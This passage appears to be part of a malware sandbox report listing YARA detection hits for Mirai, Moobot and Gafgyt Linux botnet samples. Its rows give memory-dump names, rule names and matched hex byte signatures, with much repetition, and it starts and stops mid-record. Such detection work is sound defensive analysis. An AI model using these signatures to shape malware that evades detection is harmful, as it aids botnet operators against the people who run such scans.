44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7017.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6996.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6561.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7039.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7039.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7039.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7039.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7039.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7039.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6513.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6946.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6946.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6946.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6946.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6451.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6451.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6451.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6946.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6946.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6891.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6980.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6451.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6451.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6451.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7273.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7273.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7273.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7273.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7273.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7273.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7195.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7195.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7195.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7195.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7195.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7195.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6566.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6566.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6566.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6566.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6566.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 